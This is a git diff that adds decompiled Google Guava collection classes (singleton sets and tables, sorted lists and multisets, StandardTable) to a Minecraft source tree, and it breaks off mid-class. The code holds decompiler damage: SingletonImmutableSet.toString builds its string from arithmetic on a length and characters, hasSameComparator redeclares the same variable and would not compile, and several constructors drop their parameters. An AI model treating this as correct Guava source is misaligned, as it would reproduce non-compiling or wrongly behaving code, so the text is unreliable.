+  public boolean isEmpty()
+  {
+    return false;
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    dst[offset] = element;
+    return offset + 1;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SingletonImmutableSet.java b/src/minecraft/com/google/common/collect/SingletonImmutableSet.java
new file mode 100644
index 0000000..17cb190
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SingletonImmutableSet.java
@@ -0,0 +1,111 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class SingletonImmutableSet<E>
+  extends ImmutableSet<E>
+{
+  final transient E element;
+  private transient int cachedHashCode;
+  
+  SingletonImmutableSet(E element)
+  {
+    this.element = Preconditions.checkNotNull(element);
+  }
+  
+  SingletonImmutableSet(E element, int hashCode)
+  {
+    this.element = element;
+    cachedHashCode = hashCode;
+  }
+  
+  public int size()
+  {
+    return 1;
+  }
+  
+  public boolean isEmpty() {
+    return false;
+  }
+  
+  public boolean contains(Object target) {
+    return element.equals(target);
+  }
+  
+  public UnmodifiableIterator<E> iterator() {
+    return Iterators.singletonIterator(element);
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    dst[offset] = element;
+    return offset + 1;
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof Set)) {
+      Set<?> that = (Set)object;
+      return (that.size() == 1) && (element.equals(that.iterator().next()));
+    }
+    return false;
+  }
+  
+  public final int hashCode()
+  {
+    int code = cachedHashCode;
+    if (code == 0) {
+      cachedHashCode = (code = element.hashCode());
+    }
+    return code;
+  }
+  
+  boolean isHashCodeFast() {
+    return cachedHashCode != 0;
+  }
+  
+  public String toString() {
+    String elementToString = element.toString();
+    return elementToString.length() + 2 + '[' + elementToString + ']';
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SingletonImmutableTable.java b/src/minecraft/com/google/common/collect/SingletonImmutableTable.java
new file mode 100644
index 0000000..123b5f8
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SingletonImmutableTable.java
@@ -0,0 +1,76 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+class SingletonImmutableTable<R, C, V>
+  extends ImmutableTable<R, C, V>
+{
+  final R singleRowKey;
+  final C singleColumnKey;
+  final V singleValue;
+  
+  SingletonImmutableTable(R rowKey, C columnKey, V value)
+  {
+    singleRowKey = Preconditions.checkNotNull(rowKey);
+    singleColumnKey = Preconditions.checkNotNull(columnKey);
+    singleValue = Preconditions.checkNotNull(value);
+  }
+  
+  SingletonImmutableTable(Table.Cell<R, C, V> cell) {
+    this(cell.getRowKey(), cell.getColumnKey(), cell.getValue());
+  }
+  
+  public ImmutableMap<R, V> column(C columnKey) {
+    Preconditions.checkNotNull(columnKey);
+    return containsColumn(columnKey) ? ImmutableMap.of(singleRowKey, singleValue) : ImmutableMap.of();
+  }
+  
+
+  public ImmutableMap<C, Map<R, V>> columnMap()
+  {
+    return ImmutableMap.of(singleColumnKey, ImmutableMap.of(singleRowKey, singleValue));
+  }
+  
+  public ImmutableMap<R, Map<C, V>> rowMap()
+  {
+    return ImmutableMap.of(singleRowKey, ImmutableMap.of(singleColumnKey, singleValue));
+  }
+  
+  public int size()
+  {
+    return 1;
+  }
+  
+  ImmutableSet<Table.Cell<R, C, V>> createCellSet()
+  {
+    return ImmutableSet.of(cellOf(singleRowKey, singleColumnKey, singleValue));
+  }
+  
+  ImmutableCollection<V> createValues()
+  {
+    return ImmutableSet.of(singleValue);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SortedIterable.java b/src/minecraft/com/google/common/collect/SortedIterable.java
new file mode 100644
index 0000000..fb440b4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedIterable.java
@@ -0,0 +1,14 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.Iterator;
+
+@GwtCompatible
+abstract interface SortedIterable<T>
+  extends Iterable<T>
+{
+  public abstract Comparator<? super T> comparator();
+  
+  public abstract Iterator<T> iterator();
+}
diff --git a/src/minecraft/com/google/common/collect/SortedIterables.java b/src/minecraft/com/google/common/collect/SortedIterables.java
new file mode 100644
index 0000000..1ef12e1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedIterables.java
@@ -0,0 +1,60 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.SortedSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class SortedIterables
+{
+  private SortedIterables() {}
+  
+  public static boolean hasSameComparator(Comparator<?> comparator, Iterable<?> elements)
+  {
+    Preconditions.checkNotNull(comparator);
+    Preconditions.checkNotNull(elements);
+    Comparator<?> comparator2;
+    if ((elements instanceof SortedSet)) {
+      comparator2 = comparator((SortedSet)elements); } else { Comparator<?> comparator2;
+      if ((elements instanceof SortedIterable)) {
+        comparator2 = ((SortedIterable)elements).comparator();
+      } else
+        return false; }
+    Comparator<?> comparator2;
+    return comparator.equals(comparator2);
+  }
+  
+
+  public static <E> Comparator<? super E> comparator(SortedSet<E> sortedSet)
+  {
+    Comparator<? super E> result = sortedSet.comparator();
+    if (result == null) {
+      result = Ordering.natural();
+    }
+    return result;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SortedLists.java b/src/minecraft/com/google/common/collect/SortedLists.java
new file mode 100644
index 0000000..0230fc5
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedLists.java
@@ -0,0 +1,284 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+@Beta
+final class SortedLists
+{
+  private SortedLists() {}
+  
+  public static abstract enum KeyPresentBehavior
+  {
+    ANY_PRESENT, 
+    
+
+
+
+
+
+
+
+
+    LAST_PRESENT, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    FIRST_PRESENT, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    FIRST_AFTER, 
+    
+
+
+
+
+
+
+
+
+
+    LAST_BEFORE;
+    
+
+
+
+
+    private KeyPresentBehavior() {}
+    
+
+
+
+
+    abstract <E> int resultIndex(Comparator<? super E> paramComparator, E paramE, List<? extends E> paramList, int paramInt);
+  }
+  
+
+
+
+  public static abstract enum KeyAbsentBehavior
+  {
+    NEXT_LOWER, 
+    
+
+
+
+
+
+
+
+
+    NEXT_HIGHER, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    INVERTED_INSERTION_INDEX;
+    
+
+
+
+
+    private KeyAbsentBehavior() {}
+    
+
+
+
+    abstract int resultIndex(int paramInt);
+  }
+  
+
+
+
+  public static <E extends Comparable> int binarySearch(List<? extends E> list, E e, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior)
+  {
+    Preconditions.checkNotNull(e);
+    return binarySearch(list, Preconditions.checkNotNull(e), Ordering.natural(), presentBehavior, absentBehavior);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E, K extends Comparable> int binarySearch(List<E> list, Function<? super E, K> keyFunction, @Nullable K key, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior)
+  {
+    return binarySearch(list, keyFunction, key, Ordering.natural(), presentBehavior, absentBehavior);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E, K> int binarySearch(List<E> list, Function<? super E, K> keyFunction, @Nullable K key, Comparator<? super K> keyComparator, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior)
+  {
+    return binarySearch(Lists.transform(list, keyFunction), key, keyComparator, presentBehavior, absentBehavior);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> int binarySearch(List<? extends E> list, @Nullable E key, Comparator<? super E> comparator, KeyPresentBehavior presentBehavior, KeyAbsentBehavior absentBehavior)
+  {
+    Preconditions.checkNotNull(comparator);
+    Preconditions.checkNotNull(list);
+    Preconditions.checkNotNull(presentBehavior);
+    Preconditions.checkNotNull(absentBehavior);
+    if (!(list instanceof RandomAccess)) {
+      list = Lists.newArrayList(list);
+    }
+    
+
+    int lower = 0;
+    int upper = list.size() - 1;
+    
+    while (lower <= upper) {
+      int middle = lower + upper >>> 1;
+      int c = comparator.compare(key, list.get(middle));
+      if (c < 0) {
+        upper = middle - 1;
+      } else if (c > 0) {
+        lower = middle + 1;
+      } else {
+        return lower + presentBehavior.resultIndex(comparator, key, list.subList(lower, upper + 1), middle - lower);
+      }
+    }
+    
+    return absentBehavior.resultIndex(lower);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SortedMapDifference.java b/src/minecraft/com/google/common/collect/SortedMapDifference.java
new file mode 100644
index 0000000..6a78e78
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedMapDifference.java
@@ -0,0 +1,17 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.SortedMap;
+
+@GwtCompatible
+public abstract interface SortedMapDifference<K, V>
+  extends MapDifference<K, V>
+{
+  public abstract SortedMap<K, V> entriesOnlyOnLeft();
+  
+  public abstract SortedMap<K, V> entriesOnlyOnRight();
+  
+  public abstract SortedMap<K, V> entriesInCommon();
+  
+  public abstract SortedMap<K, MapDifference.ValueDifference<V>> entriesDiffering();
+}
diff --git a/src/minecraft/com/google/common/collect/SortedMultiset.java b/src/minecraft/com/google/common/collect/SortedMultiset.java
new file mode 100644
index 0000000..cf29662
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedMultiset.java
@@ -0,0 +1,38 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.Set;
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract interface SortedMultiset<E>
+  extends SortedMultisetBridge<E>, SortedIterable<E>
+{
+  public abstract Comparator<? super E> comparator();
+  
+  public abstract Multiset.Entry<E> firstEntry();
+  
+  public abstract Multiset.Entry<E> lastEntry();
+  
+  public abstract Multiset.Entry<E> pollFirstEntry();
+  
+  public abstract Multiset.Entry<E> pollLastEntry();
+  
+  public abstract NavigableSet<E> elementSet();
+  
+  public abstract Set<Multiset.Entry<E>> entrySet();
+  
+  public abstract Iterator<E> iterator();
+  
+  public abstract SortedMultiset<E> descendingMultiset();
+  
+  public abstract SortedMultiset<E> headMultiset(E paramE, BoundType paramBoundType);
+  
+  public abstract SortedMultiset<E> subMultiset(E paramE1, BoundType paramBoundType1, E paramE2, BoundType paramBoundType2);
+  
+  public abstract SortedMultiset<E> tailMultiset(E paramE, BoundType paramBoundType);
+}
diff --git a/src/minecraft/com/google/common/collect/SortedMultisetBridge.java b/src/minecraft/com/google/common/collect/SortedMultisetBridge.java
new file mode 100644
index 0000000..0471eba
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedMultisetBridge.java
@@ -0,0 +1,9 @@
+package com.google.common.collect;
+
+import java.util.SortedSet;
+
+abstract interface SortedMultisetBridge<E>
+  extends Multiset<E>
+{
+  public abstract SortedSet<E> elementSet();
+}
diff --git a/src/minecraft/com/google/common/collect/SortedMultisets.java b/src/minecraft/com/google/common/collect/SortedMultisets.java
new file mode 100644
index 0000000..19f35a3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedMultisets.java
@@ -0,0 +1,165 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.NoSuchElementException;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class SortedMultisets
+{
+  private SortedMultisets() {}
+  
+  static class ElementSet<E>
+    extends Multisets.ElementSet<E>
+    implements SortedSet<E>
+  {
+    private final SortedMultiset<E> multiset;
+    
+    ElementSet(SortedMultiset<E> multiset)
+    {
+      this.multiset = multiset;
+    }
+    
+    final SortedMultiset<E> multiset() {
+      return multiset;
+    }
+    
+    public Comparator<? super E> comparator() {
+      return multiset().comparator();
+    }
+    
+    public SortedSet<E> subSet(E fromElement, E toElement) {
+      return multiset().subMultiset(fromElement, BoundType.CLOSED, toElement, BoundType.OPEN).elementSet();
+    }
+    
+    public SortedSet<E> headSet(E toElement) {
+      return multiset().headMultiset(toElement, BoundType.OPEN).elementSet();
+    }
+    
+    public SortedSet<E> tailSet(E fromElement) {
+      return multiset().tailMultiset(fromElement, BoundType.CLOSED).elementSet();
+    }
+    
+    public E first() {
+      return SortedMultisets.getElementOrThrow(multiset().firstEntry());
+    }
+    
+    public E last() {
+      return SortedMultisets.getElementOrThrow(multiset().lastEntry());
+    }
+  }
+  
+  @GwtIncompatible("Navigable")
+  static class NavigableElementSet<E>
+    extends SortedMultisets.ElementSet<E> implements NavigableSet<E>
+  {
+    NavigableElementSet(SortedMultiset<E> multiset)
+    {
+      super();
+    }
+    
+    public E lower(E e)
+    {
+      return SortedMultisets.getElementOrNull(multiset().headMultiset(e, BoundType.OPEN).lastEntry());
+    }
+    
+    public E floor(E e)
+    {
+      return SortedMultisets.getElementOrNull(multiset().headMultiset(e, BoundType.CLOSED).lastEntry());
+    }
+    
+    public E ceiling(E e)
+    {
+      return SortedMultisets.getElementOrNull(multiset().tailMultiset(e, BoundType.CLOSED).firstEntry());
+    }
+    
+    public E higher(E e)
+    {
+      return SortedMultisets.getElementOrNull(multiset().tailMultiset(e, BoundType.OPEN).firstEntry());
+    }
+    
+    public NavigableSet<E> descendingSet()
+    {
+      return new NavigableElementSet(multiset().descendingMultiset());
+    }
+    
+    public Iterator<E> descendingIterator()
+    {
+      return descendingSet().iterator();
+    }
+    
+    public E pollFirst()
+    {
+      return SortedMultisets.getElementOrNull(multiset().pollFirstEntry());
+    }
+    
+    public E pollLast()
+    {
+      return SortedMultisets.getElementOrNull(multiset().pollLastEntry());
+    }
+    
+
+    public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+    {
+      return new NavigableElementSet(multiset().subMultiset(fromElement, BoundType.forBoolean(fromInclusive), toElement, BoundType.forBoolean(toInclusive)));
+    }
+    
+
+
+    public NavigableSet<E> headSet(E toElement, boolean inclusive)
+    {
+      return new NavigableElementSet(multiset().headMultiset(toElement, BoundType.forBoolean(inclusive)));
+    }
+    
+
+    public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+    {
+      return new NavigableElementSet(multiset().tailMultiset(fromElement, BoundType.forBoolean(inclusive)));
+    }
+  }
+  
+  private static <E> E getElementOrThrow(Multiset.Entry<E> entry)
+  {
+    if (entry == null) {
+      throw new NoSuchElementException();
+    }
+    return entry.getElement();
+  }
+  
+  private static <E> E getElementOrNull(@Nullable Multiset.Entry<E> entry) {
+    return entry == null ? null : entry.getElement();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SortedSetMultimap.java b/src/minecraft/com/google/common/collect/SortedSetMultimap.java
new file mode 100644
index 0000000..7d78d4c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SortedSetMultimap.java
@@ -0,0 +1,23 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface SortedSetMultimap<K, V>
+  extends SetMultimap<K, V>
+{
+  public abstract SortedSet<V> get(@Nullable K paramK);
+  
+  public abstract SortedSet<V> removeAll(@Nullable Object paramObject);
+  
+  public abstract SortedSet<V> replaceValues(K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract Map<K, Collection<V>> asMap();
+  
+  public abstract Comparator<? super V> valueComparator();
+}
diff --git a/src/minecraft/com/google/common/collect/SparseImmutableTable.java b/src/minecraft/com/google/common/collect/SparseImmutableTable.java
new file mode 100644
index 0000000..73d31d9
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SparseImmutableTable.java
@@ -0,0 +1,112 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.concurrent.Immutable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+@Immutable
+final class SparseImmutableTable<R, C, V>
+  extends RegularImmutableTable<R, C, V>
+{
+  private final ImmutableMap<R, Map<C, V>> rowMap;
+  private final ImmutableMap<C, Map<R, V>> columnMap;
+  private final int[] iterationOrderRow;
+  private final int[] iterationOrderColumn;
+  
+  SparseImmutableTable(ImmutableList<Table.Cell<R, C, V>> cellList, ImmutableSet<R> rowSpace, ImmutableSet<C> columnSpace)
+  {
+    Map<R, Integer> rowIndex = Maps.newHashMap();
+    Map<R, Map<C, V>> rows = Maps.newLinkedHashMap();
+    for (R row : rowSpace) {
+      rowIndex.put(row, Integer.valueOf(rows.size()));
+      rows.put(row, new LinkedHashMap());
+    }
+    Map<C, Map<R, V>> columns = Maps.newLinkedHashMap();
+    for (C col : columnSpace) {
+      columns.put(col, new LinkedHashMap());
+    }
+    int[] iterationOrderRow = new int[cellList.size()];
+    int[] iterationOrderColumn = new int[cellList.size()];
+    for (int i = 0; i < cellList.size(); i++) {
+      Table.Cell<R, C, V> cell = (Table.Cell)cellList.get(i);
+      R rowKey = cell.getRowKey();
+      C columnKey = cell.getColumnKey();
+      V value = cell.getValue();
+      
+      iterationOrderRow[i] = ((Integer)rowIndex.get(rowKey)).intValue();
+      Map<C, V> thisRow = (Map)rows.get(rowKey);
+      iterationOrderColumn[i] = thisRow.size();
+      V oldValue = thisRow.put(columnKey, value);
+      if (oldValue != null) {
+        throw new IllegalArgumentException("Duplicate value for row=" + rowKey + ", column=" + columnKey + ": " + value + ", " + oldValue);
+      }
+      
+      ((Map)columns.get(columnKey)).put(rowKey, value);
+    }
+    this.iterationOrderRow = iterationOrderRow;
+    this.iterationOrderColumn = iterationOrderColumn;
+    ImmutableMap.Builder<R, Map<C, V>> rowBuilder = ImmutableMap.builder();
+    for (Map.Entry<R, Map<C, V>> row : rows.entrySet()) {
+      rowBuilder.put(row.getKey(), ImmutableMap.copyOf((Map)row.getValue()));
+    }
+    rowMap = rowBuilder.build();
+    
+    ImmutableMap.Builder<C, Map<R, V>> columnBuilder = ImmutableMap.builder();
+    for (Map.Entry<C, Map<R, V>> col : columns.entrySet()) {
+      columnBuilder.put(col.getKey(), ImmutableMap.copyOf((Map)col.getValue()));
+    }
+    columnMap = columnBuilder.build();
+  }
+  
+  public ImmutableMap<C, Map<R, V>> columnMap() {
+    return columnMap;
+  }
+  
+  public ImmutableMap<R, Map<C, V>> rowMap() {
+    return rowMap;
+  }
+  
+  public int size()
+  {
+    return iterationOrderRow.length;
+  }
+  
+  Table.Cell<R, C, V> getCell(int index)
+  {
+    int rowIndex = iterationOrderRow[index];
+    Map.Entry<R, Map<C, V>> rowEntry = (Map.Entry)rowMap.entrySet().asList().get(rowIndex);
+    ImmutableMap<C, V> row = (ImmutableMap)rowEntry.getValue();
+    int columnIndex = iterationOrderColumn[index];
+    Map.Entry<C, V> colEntry = (Map.Entry)row.entrySet().asList().get(columnIndex);
+    return cellOf(rowEntry.getKey(), colEntry.getKey(), colEntry.getValue());
+  }
+  
+  V getValue(int index)
+  {
+    int rowIndex = iterationOrderRow[index];
+    ImmutableMap<C, V> row = (ImmutableMap)rowMap.values().asList().get(rowIndex);
+    int columnIndex = iterationOrderColumn[index];
+    return row.values().asList().get(columnIndex);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/StandardRowSortedTable.java b/src/minecraft/com/google/common/collect/StandardRowSortedTable.java
new file mode 100644
index 0000000..19d4018
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/StandardRowSortedTable.java
@@ -0,0 +1,138 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.SortedMap;
+import java.util.SortedSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+class StandardRowSortedTable<R, C, V>
+  extends StandardTable<R, C, V>
+  implements RowSortedTable<R, C, V>
+{
+  private static final long serialVersionUID = 0L;
+  
+  StandardRowSortedTable(SortedMap<R, Map<C, V>> backingMap, Supplier<? extends Map<C, V>> factory)
+  {
+    super(backingMap, factory);
+  }
+  
+  private SortedMap<R, Map<C, V>> sortedBackingMap() {
+    return (SortedMap)backingMap;
+  }
+  
+
+
+
+
+
+  public SortedSet<R> rowKeySet()
+  {
+    return (SortedSet)rowMap().keySet();
+  }
+  
+
+
+
+
+
+  public SortedMap<R, Map<C, V>> rowMap()
+  {
+    return (SortedMap)super.rowMap();
+  }
+  
+
+
+  SortedMap<R, Map<C, V>> createRowMap() { return new RowSortedMap(null); }
+  
+  private class RowSortedMap extends StandardTable<R, C, V>.RowMap implements SortedMap<R, Map<C, V>> {
+    private RowSortedMap() { super(); }
+    
+    public SortedSet<R> keySet() {
+      return (SortedSet)super.keySet();
+    }
+    
+    SortedSet<R> createKeySet()
+    {
+      return new Maps.SortedKeySet(this);
+    }
+    
+    public Comparator<? super R> comparator()
+    {
+      return StandardRowSortedTable.this.sortedBackingMap().comparator();
+    }
+    
+    public R firstKey()
+    {
+      return StandardRowSortedTable.this.sortedBackingMap().firstKey();
+    }
+    
+    public R lastKey()
+    {
+      return StandardRowSortedTable.this.sortedBackingMap().lastKey();
+    }
+    
+    public SortedMap<R, Map<C, V>> headMap(R toKey)
+    {
+      Preconditions.checkNotNull(toKey);
+      return new StandardRowSortedTable(StandardRowSortedTable.this.sortedBackingMap().headMap(toKey), factory).rowMap();
+    }
+    
+
+    public SortedMap<R, Map<C, V>> subMap(R fromKey, R toKey)
+    {
+      Preconditions.checkNotNull(fromKey);
+      Preconditions.checkNotNull(toKey);
+      return new StandardRowSortedTable(StandardRowSortedTable.this.sortedBackingMap().subMap(fromKey, toKey), factory).rowMap();
+    }
+    
+
+    public SortedMap<R, Map<C, V>> tailMap(R fromKey)
+    {
+      Preconditions.checkNotNull(fromKey);
+      return new StandardRowSortedTable(StandardRowSortedTable.this.sortedBackingMap().tailMap(fromKey), factory).rowMap();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/StandardTable.java b/src/minecraft/com/google/common/collect/StandardTable.java
new file mode 100644
index 0000000..cd3ec57
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/StandardTable.java
@@ -0,0 +1,892 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.base.Supplier;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+class StandardTable<R, C, V>
+  extends AbstractTable<R, C, V>
+  implements Serializable
+{
+  @GwtTransient
+  final Map<R, Map<C, V>> backingMap;
+  @GwtTransient
+  final Supplier<? extends Map<C, V>> factory;
+  private transient Set<C> columnKeySet;
+  private transient Map<R, Map<C, V>> rowMap;
+  private transient StandardTable<R, C, V>.ColumnMap columnMap;
+  private static final long serialVersionUID = 0L;
+  
+  StandardTable(Map<R, Map<C, V>> backingMap, Supplier<? extends Map<C, V>> factory)
+  {
+    this.backingMap = backingMap;
+    this.factory = factory;
+  }
+  
+
+
+  public boolean contains(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    return (rowKey != null) && (columnKey != null) && (super.contains(rowKey, columnKey));
+  }
+  
+  public boolean containsColumn(@Nullable Object columnKey) {
+    if (columnKey == null) {
+      return false;
+    }
+    for (Map<C, V> map : backingMap.values()) {
+      if (Maps.safeContainsKey(map, columnKey)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public boolean containsRow(@Nullable Object rowKey) {
+    return (rowKey != null) && (Maps.safeContainsKey(backingMap, rowKey));
+  }
+  
+  public boolean containsValue(@Nullable Object value) {
+    return (value != null) && (super.containsValue(value));
+  }
+  
+  public V get(@Nullable Object rowKey, @Nullable Object columnKey) {
+    return (rowKey == null) || (columnKey == null) ? null : super.get(rowKey, columnKey);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return backingMap.isEmpty();
+  }
+  
+  public int size() {
+    int size = 0;
+    for (Map<C, V> map : backingMap.values()) {
+      size += map.size();
+    }
+    return size;
+  }
+  
+
+  public void clear()
+  {
+    backingMap.clear();
+  }
+  
+  private Map<C, V> getOrCreate(R rowKey) {
+    Map<C, V> map = (Map)backingMap.get(rowKey);
+    if (map == null) {
+      map = (Map)factory.get();
+      backingMap.put(rowKey, map);
+    }
+    return map;
+  }
+  
+  public V put(R rowKey, C columnKey, V value) {
+    Preconditions.checkNotNull(rowKey);
+    Preconditions.checkNotNull(columnKey);
+    Preconditions.checkNotNull(value);
+    return getOrCreate(rowKey).put(columnKey, value);
+  }
+  
+  public V remove(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    if ((rowKey == null) || (columnKey == null)) {
+      return null;
+    }
+    Map<C, V> map = (Map)Maps.safeGet(backingMap, rowKey);
+    if (map == null) {
+      return null;
+    }
+    V value = map.remove(columnKey);
+    if (map.isEmpty()) {
+      backingMap.remove(rowKey);
+    }
+    return value;
+  }
+  
+  private Map<R, V> removeColumn(Object column) {
+    Map<R, V> output = new LinkedHashMap();
+    Iterator<Map.Entry<R, Map<C, V>>> iterator = backingMap.entrySet().iterator();
+    
+    while (iterator.hasNext()) {
+      Map.Entry<R, Map<C, V>> entry = (Map.Entry)iterator.next();
+      V value = ((Map)entry.getValue()).remove(column);
+      if (value != null) {
+        output.put(entry.getKey(), value);
+        if (((Map)entry.getValue()).isEmpty()) {
+          iterator.remove();
+        }
+      }
+    }
+    return output;
+  }
+  
+  private boolean containsMapping(Object rowKey, Object columnKey, Object value)
+  {
+    return (value != null) && (value.equals(get(rowKey, columnKey)));
+  }
+  
+  private boolean removeMapping(Object rowKey, Object columnKey, Object value)
+  {
+    if (containsMapping(rowKey, columnKey, value)) {
+      remove(rowKey, columnKey);
+      return true;
+    }
+    return false;
+  }
+  
+
+  private abstract class TableSet<T>
+    extends Sets.ImprovedAbstractSet<T>
+  {
+    private TableSet() {}
+    
+    public boolean isEmpty()
+    {
+      return backingMap.isEmpty();
+    }
+    
+    public void clear() {
+      backingMap.clear();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Set<Table.Cell<R, C, V>> cellSet()
+  {
+    return super.cellSet();
+  }
+  
+  Iterator<Table.Cell<R, C, V>> cellIterator() {
+    return new CellIterator(null);
+  }
+  
+  private class CellIterator implements Iterator<Table.Cell<R, C, V>> {
+    final Iterator<Map.Entry<R, Map<C, V>>> rowIterator = backingMap.entrySet().iterator();
+    
+    Map.Entry<R, Map<C, V>> rowEntry;
+    Iterator<Map.Entry<C, V>> columnIterator = Iterators.emptyModifiableIterator();
+    
+    private CellIterator() {}
+    
+    public boolean hasNext() { return (rowIterator.hasNext()) || (columnIterator.hasNext()); }
+    
+    public Table.Cell<R, C, V> next()
+    {
+      if (!columnIterator.hasNext()) {
+        rowEntry = ((Map.Entry)rowIterator.next());
+        columnIterator = ((Map)rowEntry.getValue()).entrySet().iterator();
+      }
+      Map.Entry<C, V> columnEntry = (Map.Entry)columnIterator.next();
+      return Tables.immutableCell(rowEntry.getKey(), columnEntry.getKey(), columnEntry.getValue());
+    }
+    
+    public void remove()
+    {
+      columnIterator.remove();
+      if (((Map)rowEntry.getValue()).isEmpty()) {
+        rowIterator.remove();
+      }
+    }
+  }
+  
+  public Map<C, V> row(R rowKey) {
+    return new Row(rowKey);
+  }
+  
+  class Row extends Maps.ImprovedAbstractMap<C, V> {
+    final R rowKey;
+    Map<C, V> backingRowMap;
+    
+    Row() { this.rowKey = Preconditions.checkNotNull(rowKey); }
+    
+
+
+    Map<C, V> backingRowMap()
+    {
+      return (backingRowMap == null) || ((backingRowMap.isEmpty()) && (backingMap.containsKey(rowKey))) ? (this.backingRowMap = computeBackingRowMap()) : backingRowMap;
+    }
